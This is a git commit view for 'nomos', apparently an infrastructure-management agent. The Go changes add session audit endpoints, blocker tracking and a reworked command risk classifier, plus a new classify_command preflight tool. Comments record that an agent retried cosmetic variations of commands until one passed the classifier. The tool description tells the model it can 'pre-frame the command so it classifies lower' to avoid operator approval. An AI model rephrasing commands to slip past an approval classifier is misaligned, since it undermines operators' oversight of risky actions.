feat(nomos): session-review improvements (P0/P1/P2 from 2026-07-20 audit)
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled

Classifier now unwraps pct exec / qm guest exec / bash -c / sh -c / sudo
and env-var assignments before classification, so read-only inspection
wrapped in pct exec no longer escalates to config_mutation. curl GET
(default method, no -d/-F/-T/-o/>) is read-only. Eliminates the three
duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) that bounced
off the classifier for the same goal.

New classify_command MCP tool: command-scoped preflight that returns the
exact risk class run would assign. Documented in SOUL.md with guidance
to pre-classify before run when the verdict is uncertain.

set_goal surfaces prior partial/failed sessions from the last 24h so the
agent picks up the thread instead of rediscovering it.

completeTask auto-closes in-flight plan steps (pending/running -> done
on success, skipped on partial/failure), so one-step plans no longer
need the per-step running->done dance right before completion.

Migration 021 adds blocker + closed_at to agent_sessions. completeTask
sets closed_at once and derives a structured blocker reason
(approval_timeout, user_abandoned, classifier_overreach, model_refusal,
tool_error, ...) from the last assistant message.

/sessions list now carries message_count, tool_call_count,
duration_seconds (server-side aggregates — no more N+1 transcript
fetches to audit a fleet). GET /sessions/{id} returns both metadata
and messages. New query params filter + paginate: outcome, status,
entity_id, blocker, since (RFC3339 or Go duration), cursor, limit.

Titles now prefer the goal when set; sessions without a goal fall back
to the first assistant text.

New GET /sessions/{id}/tool_calls flat view for audit scripts.

Plan: plans/2026-07-20-session-review-ten-sessions.md. VERSION 0.7.12 -> 0.7.13.
This commit is contained in:
2026-07-20 11:32:31 +02:00
parent 9f4d645d06
commit e055a7c6ce
11 changed files with 1116 additions and 48 deletions

View File

@@ -1 +1 @@
0.7.12
0.7.13

View File

@@ -11,6 +11,7 @@ import (
"net/http"
"os"
"os/signal"
"strconv"
"strings"
"sync"
"syscall"
@@ -352,8 +353,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
// Generate a meaningful title from the assistant's first answer
// instead of reusing the raw user message for every session.
// P2.9 (2026-07-20): prefer the goal as the title when one is set —
// the first assistant text is often a greeting or narrative that
// doesn't describe the task ("Hey! 👋 Nomos here, running on
// mac-mini:8092..."). The goal is the operator's actual intent.
// Sessions that never call set_goal (pure Q&A) fall back to the
// assistant text, which is still better than the raw user message.
if finalText != "" && sessionID != "ephemeral" {
title := truncate(finalText, 80)
var goalTitle string
if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
goalTitle = truncate(sess.Goal, 120)
}
title := goalTitle
if title == "" {
title = truncate(finalText, 80)
}
if title != "" {
st.updateSessionTitle(pctx, sessionID, title)
}
@@ -371,13 +385,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
return
}
sessions, err := st.listSessions(r.Context())
// P2.8 (2026-07-20): filtering + pagination. The audit script in
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
// client-side; "show me partial sessions touching lxc:rclone"
// required fetching the full list and filtering in JS. Push the
// filters into SQL so the audit becomes a single `curl | jq`.
// Supported query params (all optional, composable):
// ?outcome=partial|success|failure — exact match on outcome
// ?status=active|done|failed|executing — exact match on status
// ?entity_id=<uuid> — exact match on entity_id
// ?since=<RFC3339 or duration> — last_active_at >= ...
// ?blocker=<reason> — exact match on blocker
// ?limit=<int> — default 50, max 200
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
q := r.URL.Query()
limit := 50
if v := q.Get("limit"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
limit = n
}
}
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
Outcome: q.Get("outcome"),
Status: q.Get("status"),
EntityID: q.Get("entity_id"),
Blocker: q.Get("blocker"),
Since: q.Get("since"),
Cursor: q.Get("cursor"),
Limit: limit,
})
if err != nil {
http.Error(w, err.Error(), 500)
return
}
// Next-page cursor: the oldest last_active_at in this page. The next
// request passes it as ?cursor=... to get the page before it. Empty
// when the list is exhausted.
var nextCursor string
if len(sessions) > 0 {
oldest := sessions[len(sessions)-1].LastActiveAt
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
if len(sessions) < limit {
nextCursor = "" // last page
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
json.NewEncoder(w).Encode(map[string]any{
"sessions": sessions,
"next_cursor": nextCursor,
"limit": limit,
})
}
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
@@ -417,6 +474,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
// the context panel when it first opens a task; live events carry deltas
// from there.
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
// session, without the two-level message-shell nesting. The audit at
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
// Python to walk messages[].content.tool_calls[]; this endpoint makes
// it a single `curl | jq`.
if len(parts) == 2 && r.Method == http.MethodGet {
switch parts[1] {
case "plan":
@@ -437,6 +499,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
return
case "tool_calls":
calls, err := st.getSessionToolCalls(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
return
}
}
@@ -449,14 +520,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
w.WriteHeader(204)
case http.MethodGet:
// getMessages alone can't distinguish "session exists but has no
// messages yet" from "session id doesn't exist at all" — it's a
// plain WHERE session_id=$1 query that returns zero rows either
// way. A frontend window opened for a deleted/invalid session
// (persisted layout, a stale link) needs to tell those apart, so
// check existence explicitly and 404 rather than silently
// returning an empty transcript that looks like a fresh task.
if _, err := st.getSession(r.Context(), id); err != nil {
// P2.7 (2026-07-20): return BOTH session metadata and messages
// from GET /sessions/{id}. Previously this endpoint returned only
// {session_id, messages} — the operator had to merge with the
// /sessions list view to get title/goal/outcome. The eval harness
// at cmd/nomos/eval/main.go:302-303 already carries a comment
// about this leaky abstraction. The session field carries the
// full metadata: title, goal, outcome, summary, blocker,
// pending_approvals, message_count, tool_call_count, etc. The
// messages field is unchanged. Clients that only read
// `messages` keep working.
sess, err := st.getSession(r.Context(), id)
if err != nil {
if err == pgx.ErrNoRows {
http.Error(w, "session not found", 404)
return
@@ -470,7 +545,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
json.NewEncoder(w).Encode(map[string]any{
"session_id": id,
"session": sess,
"messages": messages,
})
default:
http.Error(w, "method not allowed", 405)

View File

@@ -86,18 +86,39 @@ func (s *store) close() {
// session is a chat session elevated to a task: goal-structured work with a
// lifecycle status and an outcome (see migration 018 / the task-board plan).
// Outcome/Summary/EntityID are empty until set, hence omitempty.
//
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
// LastActiveAt — the latter is touched on any access (including a UI
// transcript view), the former is set ONCE at completion. Without it,
// "duration" computed as last_active - created lies for reopened sessions
// (a51e2086 reported 4-day duration because the operator reopened it).
// Blocker is a short structured reason: approval_timeout,
// classifier_overreach, user_abandoned, tool_error, etc. See
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
type session struct {
ID string `json:"id"`
Title string `json:"title"`
Actor string `json:"actor"`
Goal string `json:"goal"`
Status string `json:"status"`
Outcome string `json:"outcome,omitempty"`
Summary string `json:"summary,omitempty"`
EntityID string `json:"entity_id,omitempty"`
PendingApprovals int `json:"pending_approvals"`
CreatedAt time.Time `json:"created_at"`
LastActiveAt time.Time `json:"last_active_at"`
ID string `json:"id"`
Title string `json:"title"`
Actor string `json:"actor"`
Goal string `json:"goal"`
Status string `json:"status"`
Outcome string `json:"outcome,omitempty"`
Summary string `json:"summary,omitempty"`
EntityID string `json:"entity_id,omitempty"`
PendingApprovals int `json:"pending_approvals"`
Blocker string `json:"blocker,omitempty"`
CreatedAt time.Time `json:"created_at"`
LastActiveAt time.Time `json:"last_active_at"`
ClosedAt *time.Time `json:"closed_at,omitempty"`
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
// "how big was this task?" without N+1 transcript fetches. The audit
// had to pull every session's full message tree to count tool calls —
// ~600 KB of JSON for 10 sessions. With these, the list view is a
// single round trip. omitempty so getSession for a brand-new session
// with zero activity doesn't emit zeros.
MessageCount int `json:"message_count,omitempty"`
ToolCallCount int `json:"tool_call_count,omitempty"`
DurationSeconds int `json:"duration_seconds,omitempty"`
}
type message struct {
@@ -315,14 +336,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
}
func (s *store) listSessions(ctx context.Context) ([]session, error) {
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
}
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
// (filtering & pagination). All fields optional; empty values are no-ops.
// The handler in main.go parses query params into this struct so the SQL
// builder here is the single source of truth for what filters exist.
type listFilter struct {
Outcome string // exact match on outcome (success/partial/failure)
Status string // exact match on status (active/done/failed/executing)
EntityID string // exact match on entity_id (UUID)
Blocker string // exact match on blocker reason
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
Cursor string // last_active_at < cursor (RFC3339) — page back in time
Limit int // default 50, clamped by the handler
}
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
if s == nil {
return nil, nil
}
rows, err := s.pool.Query(ctx,
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''),
COALESCE(pa.cnt, 0),
s.created_at, s.last_active_at
if f.Limit <= 0 {
f.Limit = 50
}
// Build the WHERE clause dynamically. We use a single args slice with
// $N placeholders to keep pgx happy; the index increments per clause.
var (
where []string
args []any
n = 1
)
if f.Outcome != "" {
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
args = append(args, f.Outcome)
n++
}
if f.Status != "" {
where = append(where, fmt.Sprintf("s.status = $%d", n))
args = append(args, f.Status)
n++
}
if f.EntityID != "" {
// Accept UUID or string; cast gracefully if invalid.
if _, err := uuid.Parse(f.EntityID); err == nil {
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
args = append(args, f.EntityID)
n++
}
}
if f.Blocker != "" {
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
args = append(args, f.Blocker)
n++
}
if f.Since != "" {
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
// Try timestamp first, fall back to duration relative to now.
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
args = append(args, t)
n++
} else if d, err := time.ParseDuration(f.Since); err == nil {
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
args = append(args, d.Seconds())
n++
}
// Unknown format: silently drop the filter — better than erroring
// out and breaking the whole list. Caller can validate if needed.
}
if f.Cursor != "" {
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
args = append(args, t)
n++
}
}
whereClause := ""
if len(where) > 0 {
whereClause = "WHERE " + strings.Join(where, " AND ")
}
args = append(args, f.Limit)
limitArg := fmt.Sprintf("$%d", n)
query := fmt.Sprintf(`
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''),
COALESCE(pa.cnt, 0),
COALESCE(s.blocker, ''),
s.created_at, s.last_active_at, s.closed_at,
COALESCE(msg.cnt, 0),
COALESCE(act.cnt, 0),
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
FROM agent_sessions s
LEFT JOIN (
SELECT l.session_id, COUNT(*) AS cnt
@@ -331,7 +436,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
WHERE e.status = 'pending_approval'
GROUP BY l.session_id
) pa ON pa.session_id = s.id
ORDER BY s.last_active_at DESC LIMIT 50`)
LEFT JOIN (
SELECT session_id, COUNT(*) AS cnt
FROM agent_messages
GROUP BY session_id
) msg ON msg.session_id = s.id
LEFT JOIN (
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
FROM agent_activity
WHERE session_id IS NOT NULL AND session_id <> ''
GROUP BY session_id
) act ON act.sid = s.id
%s
ORDER BY s.last_active_at DESC
LIMIT %s`, whereClause, limitArg)
rows, err := s.pool.Query(ctx, query, args...)
if err != nil {
return nil, err
}
@@ -342,7 +462,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
var sess session
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
return nil, err
}
out = append(out, sess)
@@ -356,18 +477,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
}
var sess session
err := s.pool.QueryRow(ctx,
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
FROM agent_sessions WHERE id = $1`, id).
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
s.created_at, s.last_active_at, s.closed_at,
COALESCE(msg.cnt, 0),
COALESCE(act.cnt, 0),
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
FROM agent_sessions s
LEFT JOIN (
SELECT session_id, COUNT(*) AS cnt
FROM agent_messages
WHERE session_id = $1::uuid
GROUP BY session_id
) msg ON msg.session_id = s.id
LEFT JOIN (
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
FROM agent_activity
WHERE session_id IS NOT NULL AND session_id <> ''
AND session_id::uuid = $1::uuid
GROUP BY session_id
) act ON act.sid = s.id
WHERE s.id = $1`, id).
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
&sess.CreatedAt, &sess.LastActiveAt)
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
if err != nil {
return nil, err
}
return &sess, nil
}
// recentPartialSessions returns recent sessions (within `since`) whose outcome
// is partial or failed, excluding the current session. Used by the set_goal
// handler to surface prior unfinished work on the same problem — three
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
// the classifier because each new session started from scratch. Surfacing the
// prior session's goal + summary at set_goal time lets the agent pick up the
// thread instead of rediscovering it. See
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
if s == nil {
return nil, nil
}
rows, err := s.pool.Query(ctx,
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
COALESCE(s.entity_id::text, ''),
COALESCE(pa.cnt, 0),
COALESCE(s.blocker, ''),
s.created_at, s.last_active_at, s.closed_at,
COALESCE(msg.cnt, 0),
COALESCE(act.cnt, 0),
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
FROM agent_sessions s
LEFT JOIN (
SELECT l.session_id, COUNT(*) AS cnt
FROM nomos_plan_executions l
JOIN executions e ON e.entity_id = l.execution_id
WHERE e.status = 'pending_approval'
GROUP BY l.session_id
) pa ON pa.session_id = s.id
LEFT JOIN (
SELECT session_id, COUNT(*) AS cnt
FROM agent_messages
GROUP BY session_id
) msg ON msg.session_id = s.id
LEFT JOIN (
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
FROM agent_activity
WHERE session_id IS NOT NULL AND session_id <> ''
GROUP BY session_id
) act ON act.sid = s.id
WHERE s.id <> $1
AND s.last_active_at >= now() - ($2 * interval '1 second')
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
ORDER BY s.last_active_at DESC
LIMIT 10`,
excludeSessionID, since.Seconds())
if err != nil {
return nil, err
}
defer rows.Close()
var out []session
for rows.Next() {
var sess session
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
return nil, err
}
out = append(out, sess)
}
return out, rows.Err()
}
// getMessages returns a session's ENTIRE message history, unbounded — used
// for the UI's own transcript view (GET /sessions/{id}), where the operator
// should be able to see everything a task has done regardless of how long
@@ -397,6 +602,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
return out, rows.Err()
}
// SessionToolCall is the flat view of one tool call as exposed by
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
// the caller can decide how to render them (the audit case wanted raw
// text sizes, but other callers may want full JSON).
type SessionToolCall struct {
ID string `json:"id"`
Name string `json:"name"`
Args json.RawMessage `json:"args,omitempty"`
Result json.RawMessage `json:"result,omitempty"`
Error string `json:"error,omitempty"`
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
MessageID string `json:"message_id"`
Role string `json:"role"`
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
CreatedAt time.Time `json:"created_at"`
}
// getSessionToolCalls walks a session's messages and returns a flat list of
// tool calls in chronological order, without the two-level message nesting.
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
// write Python to walk messages[].content.tool_calls[]; this method makes
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
// is emitted as two rows (same id, different Type), preserving the
// persisted shape — clients that want the merged shape can group by ID.
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
if s == nil {
return nil, nil
}
msgs, err := s.getMessages(ctx, sessionID)
if err != nil {
return nil, err
}
var out []SessionToolCall
seq := 0
for _, m := range msgs {
var payload struct {
ToolCalls []struct {
ID string `json:"id"`
Type string `json:"type"`
Name string `json:"name"`
Args json.RawMessage `json:"args"`
Result json.RawMessage `json:"result"`
Error string `json:"error"`
} `json:"tool_calls"`
}
if err := json.Unmarshal(m.Content, &payload); err != nil {
continue
}
for _, tc := range payload.ToolCalls {
if tc.ID == "" {
continue
}
seq++
out = append(out, SessionToolCall{
ID: tc.ID,
Name: tc.Name,
Args: tc.Args,
Result: tc.Result,
Error: tc.Error,
Type: tc.Type,
MessageID: m.ID,
Role: m.Role,
Seq: seq,
CreatedAt: m.CreatedAt,
})
}
}
return out, nil
}
// getRecentMessages returns the most recent `limit` messages for sessionID,
// in chronological order, plus whether older messages exist beyond that
// window. Used specifically for LLM replay (chatWith): without a bound,
@@ -528,7 +804,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
sessionID)
if _, err := s.pool.Exec(ctx,
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
sessionID, goal); err != nil {
return err
}
@@ -809,6 +1085,27 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
// doesn't need an update_plan_step(running)→update_plan_step(done)
// dance for each step right before completion. Session 8c76bb3a
// (greeting + title-sync test) burned 4 update_plan_step calls for a
// one-step plan. completeTask is the authoritative terminal — any
// step still in pending/running when the task ends is closed (as
// "done" for success, "skipped" for partial/failure) so the UI's plan
// view doesn't show orphaned running steps on a completed task.
// Replaced/cancelled/blocked steps are left alone.
closeStatus := "done"
if outcome != "success" {
closeStatus = "skipped"
}
if _, err := s.pool.Exec(ctx, `
UPDATE session_plan_steps
SET status = $3, finished_at = COALESCE(finished_at, now())
WHERE session_id = $1 AND status IN ('pending', 'running')`,
sessionID, "", closeStatus); err != nil {
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
}
// Clean up assent and destructive window keys from autonomy_settings.
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
WHERE key LIKE '%:' || $1`, sessionID)
@@ -817,9 +1114,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
if outcome == "failure" {
status = "failed"
}
// P1.5 (2026-07-20): derive a structured blocker reason when the
// outcome is partial/failed, so trend analysis can answer "why are
// sessions failing?" without parsing free-text summaries. Three
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
// bounced off the classifier; without a blocker field, the *why* was
// buried in the last assistant message. The signatures matched here
// are the recurring ones from the 2026-07-20 session audit. Empty for
// success — that's not a blocker.
blocker := ""
if outcome != "success" {
blocker = deriveBlocker(ctx, s, sessionID, summary)
}
if _, err := s.pool.Exec(ctx, `
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
blocker = $5, closed_at = now(), last_active_at = now()
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
return err
}
var entID uuid.UUID
@@ -837,10 +1147,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
}
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
map[string]any{"status": status, "outcome": outcome, "summary": summary,
"cancelled_executions": cancelledCount})
"cancelled_executions": cancelledCount, "blocker": blocker})
return nil
}
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
// reason. Order matters — earlier patterns take precedence. These are the
// recurring failure signatures from the 2026-07-20 session audit. A
// real-world blocker that doesn't match any of these falls through to
// "uncategorized" — better than empty, because empty means "we don't know
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
var blockerPatterns = []struct {
pattern string
reason string
}{
{"queued for approval", "approval_timeout"},
{"assent window", "approval_timeout"},
{"cancel", "user_abandoned"},
{"close this session", "user_abandoned"},
{"lets just close", "user_abandoned"},
{"classifier flagged", "classifier_overreach"},
{"config_mutation", "classifier_overreach"},
{"refus", "model_refusal"}, // refuses/refused/refusal
{"empty response", "model_empty_response"},
{"no local knowledge", "missing_knowledge"},
{"can't run", "missing_capability"},
{"cannot run", "missing_capability"},
{"timeout", "tool_error"},
{"error", "tool_error"},
}
// deriveBlocker scans the last assistant message + the summary for known
// failure signatures and returns the matching structured reason. Returns
// "uncategorized" when outcome is partial/failed but no signature matched —
// better than "" because the audit needs to know this WAS blocked, just for
// an unknown reason. Returns "" for success outcomes (caller checks first).
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
// Pull the last assistant text — that's where the agent's parting
// words explain why it didn't finish.
var lastText string
_ = s.pool.QueryRow(ctx, `
SELECT content::text FROM agent_messages
WHERE session_id = $1 AND role = 'assistant'
ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
haystack := strings.ToLower(lastText + " " + summary)
for _, p := range blockerPatterns {
if strings.Contains(haystack, p.pattern) {
return p.reason
}
}
return "uncategorized"
}
// hadEntityWriteback checks whether this session called update_entity_attributes
// or create_relationship — used by complete_task to warn the agent when it
// forgot to persist entity facts (the #1 cause of knowledge graph drift).

View File

@@ -6,6 +6,7 @@ import (
"fmt"
"log/slog"
"strings"
"time"
)
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
@@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
// what the SOUL.md "approve the plan, not each step" model actually
// describes. set_goal records the goal + flips status to executing
// and nothing more.
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
// same problem so the agent can pick up the thread instead of
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
// cb8c8a4a) all bounced off the classifier because each new session
// started from scratch. The agent gets a hint with the prior
// goal + summary; if it looks related, search_knowledge or open
// the prior session's transcript (GET /sessions/{id}) before
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
if len(prior) > 0 {
var b strings.Builder
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
for i, p := range prior {
if i >= 5 {
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
break
}
sum := p.Summary
if sum == "" {
sum = "(no summary)"
}
if len(sum) > 200 {
sum = sum[:200] + "..."
}
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
p.Goal, p.ID[:8], p.Outcome, sum))
}
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
response += b.String()
}
return response, true
case "propose_plan":
raw, _ := args["steps"].([]any)

View File

@@ -7,6 +7,7 @@ import (
"strings"
"github.com/dtoro/oikos/internal/db"
"github.com/dtoro/oikos/internal/policy"
"github.com/google/uuid"
"github.com/modelcontextprotocol/go-sdk/mcp"
)
@@ -704,6 +705,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
FROM entities e WHERE e.slug = $1`, slug, action), nil
}},
// classify_command is the command-scoped preflight from
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
// existing `preflight` tool is entity/action-scoped — useless when
// the agent is composing a `run` command and needs to know whether
// the classifier will accept it before submitting. Without this,
// the agent has to retry with cosmetic variations until it finds
// one that passes (see sessions a51e2086, 8acea2e3 — three
// duplicate rclone sessions, all bouncing off the classifier).
// Call this BEFORE `run` whenever the classification is uncertain.
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
InputSchema: objSchema(
prop{"command", "string", "The exact shell command you intend to pass to run."},
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
),
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
command, _ := args["command"].(string)
declaredRisk, _ := args["declared_risk"].(string)
if command == "" {
return textResult("error: command is required"), nil
}
risk := policy.ClassifyCommand(command, declaredRisk)
note := ""
switch risk {
case policy.RiskReadOnly:
note = "auto-acts on `run` (no approval needed)."
case policy.RiskReversibleLow:
note = "auto-acts on `run` (no approval needed)."
case policy.RiskConfigMutation:
note = "requires operator approval on `run` (or loose assent window active)."
case policy.RiskDestructive:
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
}
out, _ := json.Marshal(map[string]any{
"command": command,
"declared_risk": declaredRisk,
"risk_class": risk,
"note": note,
})
return textResult(string(out)), nil
}},
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
InputSchema: objSchema(
prop{"entity_slug", "string", "Entity slug"},

View File

@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
`git\s+(status|log|diff|show|branch|remote)|` +
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
`git\s+(status|log|diff|show|branch|remote))\b`)
// envAssignRe matches leading FOO=bar env-var assignments so they can be
// stripped before the read-only verb check.
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
// optional but recommended — without it, the rest of the line is the
// command passed to exec. Case-insensitive.
